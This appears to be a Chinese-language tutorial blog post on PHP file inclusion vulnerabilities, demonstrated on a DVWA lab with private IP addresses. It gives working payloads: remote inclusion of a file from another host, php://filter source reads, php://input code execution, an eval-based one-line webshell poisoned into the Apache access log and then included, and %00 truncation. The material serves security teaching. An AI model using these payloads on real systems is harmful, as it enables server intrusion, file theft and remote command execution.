文件包含漏洞

1.文件包含原理

程序在开发的时候,未对包含的文件进行严格的过滤,攻击者可以构造自己的图片木马当作php执行

2.文件包含分类 

  • 本地包含

不需要条件,只要有程序代码漏洞,默认条件就可以包含漏洞

  • 远程包含

需要allow_url_include=on(开启远程包含功能)、magic_quotes_gpc=off(魔术符号关闭)

文件包含漏洞_第1张图片

 http://10.0.0.130:91/123.php?filename=http://192.168.134.1:90/123.jpg
第一个为有包含文件的主机第二个是被攻击的

文件包含漏洞_第2张图片

插入木马可以直接用菜刀连接 

3.包含漏洞里面的四个函数

    include    返回一条警告
    include_once
    除了原有 include 的功能以外,它还会做 once 检测,如果文件曾经已经被被包含过,不再包含
    require      一个致命的错    重要的文件
    require_once
    除了原的功能一外,会做一次 once 检测,防止文件反复被包含

这2个涵数include(),include_once()不重复加载,require()和require_once()遇到错误退出

4.如何快速挖掘包含漏洞 

审计(白盒测试)直接在源代码里搜索这四个函数 include,include_once,require,require_once

渗透测试(黑盒测试)看参数,如果不是脚本的形式被解析成脚本就是有包含函数

5.包含漏洞能做什么 

读文件     有特殊字符一定要转换为baes64

例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
    换为low 

文件包含漏洞_第3张图片

 更改这里,进行编码

文件包含漏洞_第4张图片

修改过后的   php://filter/read=convert.base64-encode/resource=../view_help.php

文件包含漏洞_第5张图片

右边的内容经过base64加密,需要解码

文件包含漏洞_第6张图片

 写文件/命令执行
 注意:只有在allow _url_include为on的时候才可以使用

 http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据包为:

文件包含漏洞_第7张图片

 执行成功

文件包含漏洞_第8张图片

一句话木马写入方法:');?>
 写一句话木马

文件包含漏洞_第9张图片

文件包含漏洞_第10张图片

访问的是当前路径(写木马的地址)

文件包含漏洞_第11张图片

直接用菜刀连接即可 

包含绕过

  • 包含日志文件   \logs\access.log

写入一句话要在burp写入,在搜索会被编码
 没有日志文件

文件包含漏洞_第12张图片

配置文件的这两个去掉井号

文件包含漏洞_第13张图片

文件包含漏洞_第14张图片

是空的

文件包含漏洞_第15张图片

 http://10.0.0.130:91/dvwa/%3C?php%20@eval($_POST[%27123%27]);?%3E  传入一句话木马

文件包含漏洞_第16张图片

文件包含漏洞_第17张图片

http://10.0.0.130:91/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log

文件包含漏洞_第18张图片

 

文件包含漏洞_第19张图片

不会被执行,因为被编码了

文件包含漏洞_第20张图片

 在burp内输入语句

文件包含漏洞_第21张图片

访问日志文件就可以直接访问语句输入的

文件包含漏洞_第22张图片

  • 截断包含(%00)

       这种方法只适合于magic_quotes_gpc=off的时候,在PHP 的老版本中也是存在着一些其他的截断问题

 
##写入记事本

文件包含漏洞_第23张图片

http://10.0.0.130:91/2.php?page=phpinfo.jpg  进行拼接(无法访问)

文件包含漏洞_第24张图片

  切换低版本

文件包含漏洞_第25张图片

文件包含漏洞_第26张图片

http://10.0.0.130:91/2.php?page=phpinfo.jpg.php

文件包含漏洞_第27张图片

 http://10.0.0.130:91/2.php?page=phpinfo.jpg%00

文件包含漏洞_第28张图片

  •     不同协议绕过

        http/https
        File
        php
        ssh2

 6.修复


 对文件严格过滤,写死

你可能感兴趣的:(常见的漏洞,安全,系统安全,web安全,安全架构,网络安全)